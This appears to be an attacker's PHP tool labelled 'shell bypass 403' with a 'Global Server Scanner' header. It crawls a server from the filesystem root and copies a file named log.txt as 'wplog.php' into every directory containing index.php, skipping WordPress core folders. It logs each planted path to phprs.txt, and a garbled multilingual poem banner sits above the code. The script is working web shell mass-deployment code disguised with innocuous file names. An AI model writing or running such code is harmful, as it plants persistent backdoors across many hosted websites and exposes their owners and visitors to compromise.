shell bypass 403
曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.かつては雑草やヨモギと共に雨や露を分かち合っていたが、今では松やヒノキと共に霜や雪に耐えている。曾与蒿藜同雨露,Once sharing rain and dew with weeds and wormwood, now enduring frost and snow with pines and cypresses.终随松柏到冰霜.曾与蒿藜同雨露한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.,终随松柏到冰霜.譖セ荳手珍阯懷酔髮ィ髴イ�檎サ磯囂譚セ譟丞芦蜀ー髴�曾与蒿藜同雨露,鏇句笌钂胯棞鍚岄洦闇诧紝缁堥殢鏉炬煆鍒板啺闇�终随松柏到冰霜.曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.曾与蒿藜同雨露,终随松柏到冰霜.
<?php
/**
* Global Server Scanner - English Version
*
* Features:
* 1. Infinite execution time.
* 2. Scans from server root.
* 3. Excludes paths containing: /wp-includes/, /wp-content/, or /wp-admin/.
* 4. Copies log.txt to wplog.php in directories containing index.php.
* 5. Logs successful paths to phprs.txt.
*/
// 1. Remove environment limits
set_time_limit(0); // Infinite execution time
ignore_user_abort(true); // Keep running after browser is closed
ini_set('memory_limit', '1024M'); // High memory for deep filesystem scans
$sourceFile = 'log.txt';
$targetName = 'wplog.php';
$recordFile = 'phprs.txt';
// Get absolute paths relative to the script location
$scriptDir = dirname(__FILE__);
$absoluteSource = $scriptDir . DIRECTORY_SEPARATOR . $sourceFile;
$absoluteRecord = $scriptDir . DIRECTORY_SEPARATOR . $recordFile;
if (!file_exists($absoluteSource)) {
die("Error: Source file '$sourceFile' not found in $scriptDir");
}
// 2. Identify System Root
$isWindows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$rootPath = $isWindows ? substr($scriptDir, 0, 3) : '/';
echo "Deep Scan Started from: $rootPath <br>";
echo "Exclusion Filter: wp-includes, wp-content, wp-admin<br>";
try {
// Initialize directory iterator
$directory = new RecursiveDirectoryIterator($rootPath, RecursiveDirectoryIterator::SKIP_DOTS);
$iterator = new RecursiveIteratorIterator(
$directory,
RecursiveIteratorIterator::SELF_FIRST,
RecursiveIteratorIterator::CATCH_GET_CHILD // Skips restricted folders automatically
);
foreach ($iterator as $item) {
if ($item->isDir()) {
try {
$currentPath = $item->getRealPath();
if (!$currentPath) continue;
// Normalize path for string matching (replace \ with /)
$normPath = str_replace('\\', '/', $currentPath);
// --- STRICTURE EXCLUSION LOGIC ---
if (strpos($normPath, '/wp-includes/') !== false ||
strpos($normPath, '/wp-content/') !== false ||
strpos($normPath, '/wp-admin/') !== false) {
continue; // Skip the entire directory tree
}
$indexPath = $currentPath . DIRECTORY_SEPARATOR . 'index.php';
// Check for target directory signature
if (file_exists($indexPath)) {
$destination = $currentPath . DIRECTORY_SEPARATOR . $targetName;
// Execute copy
if (@copy($absoluteSource, $destination)) {
// Instant log writing
$logEntry = $destination . PHP_EOL;
file_put_contents($absoluteRecord, $logEntry, FILE_APPEND | LOCK_EX);
echo "Success: " . htmlspecialchars($destination) . "<br>";
flush();
}
}
} catch (Exception $e) {
// Silently skip unreadable directories
continue;
}
}
}
} catch (Exception $e) {
file_put_contents($absoluteRecord, "Fatal System Error: " . $e->getMessage(), FILE_APPEND);
}
echo "--- Process Finished ---";